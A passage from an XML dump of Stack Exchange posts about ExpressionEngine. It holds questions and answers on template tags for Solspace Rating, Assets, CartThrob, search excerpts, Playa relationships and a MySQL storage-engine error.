&amp;lt;/div&amp;gt;&#xA;                &amp;lt;span class=&quot;total&quot;&amp;gt;{rating1}&amp;lt;/span&amp;gt;&#xA;                {if:else}&#xA;                &amp;lt;div class=&quot;stars&quot;&amp;gt;&#xA;                    &amp;lt;img src=&quot;/i/star-0.png&quot; width=&quot;14&quot; height=&quot;14&quot; class=&quot;rating_star&quot; /&amp;gt;&#xA;                    &amp;lt;img src=&quot;/i/star-0.png&quot; width=&quot;14&quot; height=&quot;14&quot; class=&quot;rating_star&quot; /&amp;gt;&#xA;                    &amp;lt;img src=&quot;/i/star-0.png&quot; width=&quot;14&quot; height=&quot;14&quot; class=&quot;rating_star&quot; /&amp;gt;&#xA;                    &amp;lt;img src=&quot;/i/star-0.png&quot; width=&quot;14&quot; height=&quot;14&quot; class=&quot;rating_star&quot; /&amp;gt;&#xA;                    &amp;lt;img src=&quot;/i/star-0.png&quot; width=&quot;14&quot; height=&quot;14&quot; class=&quot;rating_star&quot; /&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;span class=&quot;total&quot;&amp;gt;N/A&amp;lt;/span&amp;gt;&#xA;                {/if}&#xA;            &amp;lt;/li&amp;gt;&#xA;            &amp;lt;li&amp;gt;&#xA;                &amp;lt;label&amp;gt;{{embed:vendor-type}_2label}&amp;lt;/label&amp;gt;&#xA;                {if rating2 !=&quot;&quot; &amp;amp;&amp;amp; rating2 !=&quot;0&quot;}&#xA;                &amp;lt;div class=&quot;stars&quot;&amp;gt;&#xA;                    {stars}{rating2}{/stars}&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;span class=&quot;total&quot;&amp;gt;{rating2}&amp;lt;/span&amp;gt;&#xA;                {if:else}&#xA;                &amp;lt;div class=&quot;stars&quot;&amp;gt;&#xA;                    &amp;lt;img src=&quot;/i/star-0.png&quot; width=&quot;14&quot; height=&quot;14&quot; class=&quot;rating_star&quot; /&amp;gt;&#xA;                    &amp;lt;img src=&quot;/i/star-0.png&quot; width=&quot;14&quot; height=&quot;14&quot; class=&quot;rating_star&quot; /&amp;gt;&#xA;                    &amp;lt;img src=&quot;/i/star-0.png&quot; width=&quot;14&quot; height=&quot;14&quot; class=&quot;rating_star&quot; /&amp;gt;&#xA;                    &amp;lt;img src=&quot;/i/star-0.png&quot; width=&quot;14&quot; height=&quot;14&quot; class=&quot;rating_star&quot; /&amp;gt;&#xA;                    &amp;lt;img src=&quot;/i/star-0.png&quot; width=&quot;14&quot; height=&quot;14&quot; class=&quot;rating_star&quot; /&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;span class=&quot;total&quot;&amp;gt;N/A&amp;lt;/span&amp;gt;&#xA;                {/if}&#xA;            &amp;lt;/li&amp;gt;&#xA;            &amp;lt;li&amp;gt;&#xA;                &amp;lt;label&amp;gt;{{embed:vendor-type}_3label}&amp;lt;/label&amp;gt;&#xA;                {if rating3 !=&quot;&quot; &amp;amp;&amp;amp; rating3 !=&quot;0&quot;}&#xA;                &amp;lt;div class=&quot;stars&quot;&amp;gt;&#xA;                    {stars}{rating3}{/stars}&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;span class=&quot;total&quot;&amp;gt;{rating3}&amp;lt;/span&amp;gt;&#xA;                {if:else}&#xA;                &amp;lt;div class=&quot;stars&quot;&amp;gt;&#xA;                    &amp;lt;img src=&quot;/i/star-0.png&quot; width=&quot;14&quot; height=&quot;14&quot; class=&quot;rating_star&quot; /&amp;gt;&#xA;                    &amp;lt;img src=&quot;/i/star-0.png&quot; width=&quot;14&quot; height=&quot;14&quot; class=&quot;rating_star&quot; /&amp;gt;&#xA;                    &amp;lt;img src=&quot;/i/star-0.png&quot; width=&quot;14&quot; height=&quot;14&quot; class=&quot;rating_star&quot; /&amp;gt;&#xA;                    &amp;lt;img src=&quot;/i/star-0.png&quot; width=&quot;14&quot; height=&quot;14&quot; class=&quot;rating_star&quot; /&amp;gt;&#xA;                    &amp;lt;img src=&quot;/i/star-0.png&quot; width=&quot;14&quot; height=&quot;14&quot; class=&quot;rating_star&quot; /&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;span class=&quot;total&quot;&amp;gt;N/A&amp;lt;/span&amp;gt;&#xA;                {/if}&#xA;            &amp;lt;/li&amp;gt;&#xA;            &amp;lt;li&amp;gt;&#xA;                &amp;lt;label&amp;gt;{{embed:vendor-type}_4label}&amp;lt;/label&amp;gt;&#xA;                {if rating4 !=&quot;&quot; &amp;amp;&amp;amp; rating4 !=&quot;0&quot;}&#xA;                &amp;lt;div class=&quot;stars&quot;&amp;gt;&#xA;                    {stars}{rating4}{/stars}&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;span class=&quot;total&quot;&amp;gt;{rating4}&amp;lt;/span&amp;gt;&#xA;                {if:else}&#xA;                &amp;lt;div class=&quot;stars&quot;&amp;gt;&#xA;                    &amp;lt;img src=&quot;/i/star-0.png&quot; width=&quot;14&quot; height=&quot;14&quot; class=&quot;rating_star&quot; /&amp;gt;&#xA;                    &amp;lt;img src=&quot;/i/star-0.png&quot; width=&quot;14&quot; height=&quot;14&quot; class=&quot;rating_star&quot; /&amp;gt;&#xA;                    &amp;lt;img src=&quot;/i/star-0.png&quot; width=&quot;14&quot; height=&quot;14&quot; class=&quot;rating_star&quot; /&amp;gt;&#xA;                    &amp;lt;img src=&quot;/i/star-0.png&quot; width=&quot;14&quot; height=&quot;14&quot; class=&quot;rating_star&quot; /&amp;gt;&#xA;                    &amp;lt;img src=&quot;/i/star-0.png&quot; width=&quot;14&quot; height=&quot;14&quot; class=&quot;rating_star&quot; /&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;span class=&quot;total&quot;&amp;gt;N/A&amp;lt;/span&amp;gt;&#xA;                {/if}&#xA;            &amp;lt;/li&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;        &amp;lt;footer&amp;gt;&#xA;            {exp:rating:rating_vote_stats rating_id=&quot;{rating_id}&quot;}&#xA;            {if not_already_voted}&amp;lt;span class=&quot;helpful&quot;&amp;gt;&amp;lt;strong&amp;gt;Was this review helpful?&amp;lt;/strong&amp;gt;&amp;lt;a href=&quot;/vendor/rating-vote/{rating_id}/up/&quot;&amp;gt;Yes&amp;lt;/a&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;|&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;a href=&quot;/vendor/rating-vote/{rating_id}/down/&quot;&amp;gt;No&amp;lt;/a&amp;gt;&amp;lt;/span&amp;gt;{/if}&#xA;            {if already_voted}&amp;lt;span class=&quot;helpful&quot;&amp;gt;&amp;lt;strong&amp;gt;Was this review helpful?&amp;lt;/strong&amp;gt;Thanks for your vote&amp;lt;/span&amp;gt;{/if}&#xA;            &amp;lt;a class=&quot;permalink&quot; href=&quot;#review-{rating_id}&quot;&amp;gt;#&amp;lt;/a&amp;gt;&#xA;            &amp;lt;a class=&quot;report&quot; href=&quot;/contact&quot;&amp;gt;Problem with this review?&amp;lt;/a&amp;gt; &#xA;            {if total &amp;gt; 0}&amp;lt;span class=&quot;light people-like&quot;&amp;gt;{up_votes}/{total} people liked this review&amp;lt;/span&amp;gt;{/if}&#xA;            {/exp:rating:rating_vote_stats}  &#xA;        &amp;lt;/footer&amp;gt;&#xA;    &amp;lt;/section&amp;gt;&#xA;{if count == total_rating_count}&#xA;&amp;lt;/article&amp;gt;&#xA;{/if}&#xA;{/exp:rating:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would like to replace the line &lt;code&gt;{stars}{rating}{/stars}&lt;/code&gt; with stars for the average of the other 4 fields (rating1, rating2, rating3, rating4).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I use the rating:stats, I can only specify an entry_id, which means I can get the average rating for the entry. I don't want that. I want the average rating of all rating fields for &lt;strong&gt;single rating&lt;/strong&gt;. Since I cannot specify a rating_entry_id to the stats tag I cannot get an average for a single rating.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope that clarifies the question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 2.7.2&#xA;Rating 3.2.3&lt;/p&gt;&#xA;" OwnerUserId="982" LastEditorUserId="982" LastEditDate="2014-02-01T07:00:40.003" LastActivityDate="2014-02-09T19:53:54.147" Title="Solspace Rating - possible to show average of multiple fields in {exp:rating:entries}" Tags="|solspace|solspace-rating|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18945" PostTypeId="1" CreationDate="2014-01-31T04:18:49.910" Score="2" ViewCount="436" Body="&lt;p&gt;I'm totally confused about Assets. I'm just trying to show the contents of a folder in a template. Here's my folder structure (dashes indicate subfolders):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Docs&#xA;-staff&#xA;--board&#xA;-public&#xA;Images&#xA;Logos&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How would I display the contents of, say, the &quot;public&quot; folder? For some reason I'm not getting it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help.&lt;/p&gt;&#xA;" OwnerUserId="332" LastActivityDate="2014-01-31T23:34:45.780" Title="How to show the contents of one folder in Assets?" Tags="|assets|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18946" PostTypeId="2" ParentId="18814" CreationDate="2014-01-31T05:00:06.993" Score="1" Body="&lt;p&gt;Changing the status in EE's backend will not run any of those actions. At present there is no method to do what you request through changing EE's statuses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The status itself is currently incidental to the payment collection system. The statuses are changed by outside actions, but changing the statuses manually won't reciprocally initiate those actions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;An extension or modification could be built to &quot;complete&quot; the transaction based on the status change, but at present we don't have anything in place to handle this. &lt;/p&gt;&#xA;" OwnerUserId="556" LastActivityDate="2014-01-31T05:00:06.993" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18947" PostTypeId="2" ParentId="18746" CreationDate="2014-01-31T05:05:29.000" Score="1" Body="&lt;p&gt;Instead of using gateway fields, try using the embed itself. This may help get around parse order issues. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could alternately try using: &#xA;&lt;a href=&quot;http://cartthrob.com/docs/tags_detail/selected_gateway_fields/&quot; rel=&quot;nofollow&quot;&gt;http://cartthrob.com/docs/tags_detail/selected_gateway_fields/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:cartthrob:selected_gateway_fields gateway=&quot;authorize_net&quot;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This might get around the parse order issues as well. I don't have stash set up, so I can't test unfortunately, so I'm just making guesses at the moment. &lt;/p&gt;&#xA;" OwnerUserId="556" LastActivityDate="2014-01-31T05:05:29.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18948" PostTypeId="2" ParentId="18265" CreationDate="2014-01-31T05:12:52.073" Score="1" Body="&lt;p&gt;You can move cartthrob lang files into &lt;/p&gt;&#xA;&#xA;&lt;p&gt;system &gt; expressionengine &gt; language &gt; english (or other language folder)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you upload again, the CT lang files WILL override those found in the EE language folder, but at least will not overwrite them.&lt;/p&gt;&#xA;" OwnerUserId="556" LastActivityDate="2014-01-31T05:12:52.073" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18949" PostTypeId="2" ParentId="18945" CreationDate="2014-01-31T05:14:08.940" Score="2" Body="&lt;p&gt;You're after the &lt;a href=&quot;http://docs.pixelandtonic.com/assets/templating/module/files.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;exp:assets:files&lt;/a&gt; template tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:assets:files folder=&quot;{filedir_1}public&quot;}&#xA;            &amp;lt;li&amp;gt;File name: {filename}&amp;lt;/li&amp;gt;&#xA;{/exp:assets:files}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Change {filedir_1} to whatever is appropriate for your Assets field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To find what your filedir id is, go to &lt;strong&gt;Content &amp;rarr; Files &amp;rarr; File Upload Preferences&lt;/strong&gt; and hover your mouse cursor over the appropriate &quot;&lt;strong&gt;Edit&lt;/strong&gt;&quot; icon for the directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Within your browsers status bar, you will see &quot;id=X&quot;. Use this number within {filedir_X}, for example in my screenshot mine is {filedir_1}.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/j2oAf.png&quot; alt=&quot;Find File Directory ID&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; It's not clear in your answer, but if your &quot;Server Path to Upload Directory&quot; is set to something like /home/me/www/assets/docs&quot; and you've created the &quot;public&quot; directory within Assets. Then your correct folder path to 'public' is: &lt;code&gt;folder=&quot;{filedir_1}public&quot;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="959" LastEditorUserId="959" LastEditDate="2014-01-31T23:34:45.780" LastActivityDate="2014-01-31T23:34:45.780" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="18950" PostTypeId="2" ParentId="18922" CreationDate="2014-01-31T05:22:46.177" Score="3" Body="&lt;p&gt;The error message &quot;Got error 139 from storage engine&quot; is being thrown by MySQL. I bet your tables are using a mixture of InnoDB and MyISAM storage engine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check your database and confirm it's using MyISAM. If it's using InnoDB, &lt;a href=&quot;https://stackoverflow.com/questions/10280754/mysql-convert-innodb-to-myisam-storage-engine-of-database&quot;&gt;this question may help with converting it to MyISAM using phpMyAdmin&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="959" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2014-01-31T05:22:46.177" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18951" PostTypeId="2" ParentId="17816" CreationDate="2014-01-31T05:26:06.673" Score="1" Body="&lt;p&gt;No it does not allow multiple carts. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Great feature request though. &lt;/p&gt;&#xA;" OwnerUserId="556" LastActivityDate="2014-01-31T05:26:06.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18952" PostTypeId="2" ParentId="16642" CreationDate="2014-01-31T05:35:55.117" Score="1" Body="&lt;p&gt;It needs to reference the name of the field. option_value isn't the name of the field (I'd guess). So if your matrix field was called YOUR_FIELD_NAME_HERE, you'd add that as the option name. See example below. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;item_options[{segment_6}{count}][YOUR_FIELD_NAME_HERE]&quot; value=&quot;{option_value}&quot;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="556" LastActivityDate="2014-01-31T05:35:55.117" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18953" PostTypeId="1" CreationDate="2014-01-31T05:40:00.633" Score="0" ViewCount="90" Body="&lt;p&gt;I have some checkbox entry fields and select option fields that are not populating my channel entry through my channel form. All the other input fields, including a standard select dropdown, populate fields correctly.  I am using REEgion to add the states/provinces and I have radio buttons trying to select the checkboxes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is a sample of my templates:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Checkboxes:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;row narrow-width&quot;&amp;gt;&#xA;            &amp;lt;fieldset&amp;gt;&#xA;                &amp;lt;legend&amp;gt;Do you require a deposit?:&amp;lt;/legend&amp;gt;&#xA;                &amp;lt;label for=&quot;require_deposit1&quot;&amp;gt;&amp;lt;input type=&quot;radio&quot; value=&quot;yes&quot; name=&quot;require_deposit&quot; id=&quot;require_deposit1&quot;&amp;gt; Yes&amp;lt;/label&amp;gt;&amp;lt;br&amp;gt;&#xA;                &amp;lt;label for=&quot;require_deposit2&quot;&amp;gt;&amp;lt;input type=&quot;radio&quot; value=&quot;no&quot; name=&quot;require_deposit&quot; id=&quot;require_deposit2&quot;&amp;gt; No&amp;lt;/label&amp;gt;&amp;lt;br&amp;gt;&#xA;            &amp;lt;/fieldset&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The ID's and NAME elements all match the custom field tags.  Thanks for any help you can offer. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Select dropdown:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;row narrow-width&quot;&amp;gt;&#xA;            &amp;lt;label for=&quot;bank_state_province&quot;&amp;gt;Bank State/Province: &amp;lt;/label&amp;gt;&#xA;            {exp:reegion_select:states_provinces title=&quot;State or Province&quot; id=&quot;bank_state_province&quot; name=&quot;bank_state_province&quot; class=&quot;reegion_select&quot;}&#xA;        &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="804" LastActivityDate="2014-01-31T05:40:00.633" Title="Channel Form elements not populating entry" Tags="|channel-form|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18954" PostTypeId="2" ParentId="14331" CreationDate="2014-01-31T05:45:53.593" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;Make sure you've uploaded the CartThrob themes folder to&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;your_site_root &gt; themes &gt; third_party &gt; cartthrob&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make sure that the settings javascript is available (the settings don't work correctly if it's not uploaded) &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;cartthrob settings &gt; global &gt; default location &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;set your default country to the Netherlands (or other country as needed). This way CT will assume that anyone visiting is starting from the Netherlands, even if they are not logged in, and there is no default location data to work with. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Go to cartthrob settings &gt; taxes &gt; tax by location - percentage (i'm assuming this will work for VAT. CT doesn't include a VAT specific tax plugin, but typically it's about 20% so this will probably work fine). It should allow you to select most any country if used with its default locales data. Set a name, % and the country. Add an additional rate beneath that to set a global rate for all other locations (if different) &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="556" LastActivityDate="2014-01-31T05:45:53.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18955" PostTypeId="1" AcceptedAnswerId="18999" CreationDate="2014-01-31T06:10:54.920" Score="1" ViewCount="112" Body="&lt;p&gt;I'm trying to set a custom price for a recurring subscription in CartThrob. I've currently got the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:add_to_cart_form&#xA;    return=&quot;/become-member/checkout&quot;&#xA;    subscription=&quot;yes&quot;&#xA;    subscription_allow_modification=&quot;yes&quot;&#xA;    shipping_exempt=&quot;yes&quot;&#xA;    tax_exempt=&quot;yes&quot;&#xA;    allow_user_price=&quot;yes&quot;&#xA;    plan_id=&quot;{id}&quot;&#xA;    subscription_interval_units=&quot;{interval_units}&quot;&#xA;    subscription_interval_length=&quot;{interval_length}&quot;&#xA;    subscription_price=&quot;{price}&quot;&#xA;  }   &#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;price&quot; value=&quot;70.00&quot; /&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;subscription_price&quot; value=&quot;70.00&quot; /&amp;gt;&#xA;&#xA;   ....&#xA;  {/exp:cartthrob:add_to_cart_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That works fine, it'll set the price of $70.00 as dictated by 'subscription_price'. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is that users are able to add a concession card code to the product in the add to cart form and that will reduce the price to $66.50 (using javascript). Upon checkout this price is saved in the CartThrob order in the CP but the recurring subscription price is still the full $70.00 amount.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to set the recurring price to the concession price if it's set in the checkout form or do I need to look into other options?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="2492" LastActivityDate="2014-01-31T22:36:14.117" Title="User / On the fly price for CartThrob recurring Subscriptions price" Tags="|cartthrob|subscriptions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18956" PostTypeId="1" CreationDate="2014-01-31T07:51:19.320" Score="0" ViewCount="50" Body="&lt;p&gt;I want to display up to  200 words of the related results just in the next line to title &#xA;But i am not getting the text that {excerpt} should Display&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code is written below &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:search:search_results switch=&quot;resultRowOne|resultRowTwo&quot;}&#xA;&#xA;&#xA;&amp;lt;table border=&quot;0&quot; cellpadding=&quot;6&quot; cellspacing=&quot;1&quot; width=&quot;100%&quot;&amp;gt;&#xA;&#xA;{exp:search:search_results switch=&quot;resultRowOne|resultRowTwo&quot;}&#xA;&#xA;    &amp;lt;tr class=&quot;{switch}&quot;&amp;gt;&#xA;   {if page_meta_title != &quot;&quot;} &amp;lt;td width=&quot;30%&quot; valign=&quot;top&quot;&amp;gt;&amp;lt;b&amp;gt;&amp;lt;a href=&quot;{if page_meta_resource}{page_meta_resource}{if:elseif page_meta_override_url}{page_meta_override_url}{if:else}/{title_permalink}{/if}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;{/if}    &#xA;&amp;lt;/tr&amp;gt;&#xA;&amp;lt;tr&amp;gt;&amp;lt;td style=&quot;color:red!important&quot;&amp;gt;{excerpt}&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;    {if count == total_results}&#xA;        &amp;lt;/table&amp;gt;&#xA;    {/if}&#xA;&#xA;    {paginate}&#xA;        &amp;lt;p&amp;gt;Page {current_page} of {total_pages} pages {pagination_links}&amp;lt;/p&amp;gt;&#xA;    {/paginate}&#xA;&#xA;{/exp:search:search_results}&#xA;&#xA;&amp;lt;/table&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2576" LastActivityDate="2014-01-31T13:14:25.453" Title="search result related" Tags="|search|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18957" PostTypeId="1" AcceptedAnswerId="19014" CreationDate="2014-01-31T08:16:18.503" Score="1" ViewCount="58" Body="&lt;p&gt;I'm using this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:weblog:categories weblog=&quot;games&quot; style=&quot;none&quot; show_empty=&quot;no&quot;}&#xA;{exp:weblog:entries site=&quot;games_site&quot; weblog=&quot;games&quot; category=&quot;{category_id}&quot; style=&quot;linear&quot; disable=&quot;member_data|pagination|trackbacks&quot; } &#xA;{title}&#xA;{/exp:weblog:entries}&#xA;{/exp:weblog:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to display all the entries for all categories assigned to a specific weblog.&#xA;This works ok, but I would like to maintain the order given to the entry inside each category.&#xA;Is there a specific orderby parameter to use?&lt;/p&gt;&#xA;" OwnerUserId="1628" LastActivityDate="2014-02-01T23:03:50.927" Title="EE 1.6.7 entries order within a category" Tags="|categories|orderby|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18958" PostTypeId="1" AcceptedAnswerId="19218" CreationDate="2014-01-31T09:12:51.217" Score="2" ViewCount="621" Body="&lt;p&gt;I have a question concerning the function of research in Grid field, specifically on a  relationship field. Here's my problem:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a grid field for a product catalogue, with many fields for each product specification. One of them is a relationship field, that catch the data from a &quot;brand&quot; channel. So I have&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;{exp:channel:entries channel=&quot;my_channel&quot;}&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;{catalogue}&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;{catalogue:brand}&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;{catalogue:brand:brand_title}&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;{/catalogue:brand}&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;{/catalogue}&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;{/exp:channel:entries}&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;that shows me all the products on www.mysite.com/catalogue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I would like is to filter those products based on the brand, something like&lt;/p&gt;&#xA;&#xA;&lt;p&gt;segment_2 == brand_title&lt;/p&gt;&#xA;&#xA;&lt;p&gt;that will show, for example, all the Apple products on www.mysite.com/catalogue/apple and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible? Thanks to everyone who will help me.&lt;/p&gt;&#xA;" OwnerUserId="2684" LastActivityDate="2014-02-07T15:46:57.463" Title="Search in Grid field - Relationship" Tags="|relationships|search|grid|segments|related-entries|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18959" PostTypeId="1" CreationDate="2014-01-31T10:05:56.830" Score="0" ViewCount="144" Body="&lt;p&gt;I have a Playa field that contains related People to display on a page. In each Person entry there is a standard EE Relationship field (pre EE2.6) to assign the Office Location.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I need to do is show the telephone number from the Office Location, but can't figure out the best way to do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my code;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:playa:children field=&quot;page_people&quot;}&#xA;    {exp:stash:append_list name=&quot;page_people&quot; parse_tags=&quot;yes&quot;}&#xA;        {stash:person_title}{title}{/stash:person_title}&#xA;        {!--This is the relationship field for Telephone--}&#xA;        {stash:person_telephone}{related_entries id='person_office'}{location_telephone}{/related_entries}{/stash:person_telephone}&#xA;    {/exp:stash:append_list}&#xA;{/exp:playa:children}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When the page renders, it just displays as {REL[person_office]6g2JK3WuREL}.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone can offer a suggestion, I would be grateful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="466" LastActivityDate="2014-01-31T11:50:42.700" Title="Access a Relationship field inside a Playa field" Tags="|playa|stash|relationships|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18960" PostTypeId="1" CreationDate="2014-01-31T10:07:11.843" Score="2" ViewCount="162" Body="&lt;p&gt;I'm looking for a solution that would enable site admins to upload folders and files á la an FTP client or dropbox via a drag and drop interface. I've had a look at assets but it doesn't seem to handle folder and subfolder uploads: &lt;a href=&quot;http://devot-ee.com/add-ons/assets&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/assets&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once uploaded a site member would be able to browse and drill down these folders and see the appropriate files. Site admins would have control over which site members have access to which folders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this even possible with EE or should I be looking at another solution?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1945" LastActivityDate="2014-02-10T15:45:49.903" Title="document management solution for EE with folder tree upload drag n drop" Tags="|assets|file-uploads|file-manager|ftp|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18961" PostTypeId="1" CreationDate="2014-01-31T10:15:45.710" Score="1" ViewCount="61" Body="&lt;p&gt;I'm sure this has been covered and I've seen the updates in 2.0 that have fixed this issue but, is there a work around for Version: 1.6.5 pertaining to &quot;The maximum per package weight for the selected service from the selected country is 150.00 pounds.&quot; error.  I want to break these up into multiple packages.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm assuming its in here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;Package&amp;gt;&#xA;                    &amp;lt;PackagingType&amp;gt;&#xA;                        &amp;lt;Code&amp;gt;'.$this-&amp;gt;settings['packaging'].'&amp;lt;/Code&amp;gt;&#xA;                    &amp;lt;/PackagingType&amp;gt;&#xA;                    &amp;lt;Dimensions&amp;gt;&#xA;                        &amp;lt;UnitOfMeasurement&amp;gt;&amp;lt;Code&amp;gt;'.$dimension_units.'&amp;lt;/Code&amp;gt;&amp;lt;/UnitOfMeasurement&amp;gt;&#xA;                        &amp;lt;Length&amp;gt;'.sprintf(&quot;%.1f&quot;, $order_length).'&amp;lt;/Length&amp;gt;&#xA;                        &amp;lt;Height&amp;gt;'.sprintf(&quot;%.1f&quot;, $order_height).'&amp;lt;/Height&amp;gt;&#xA;                        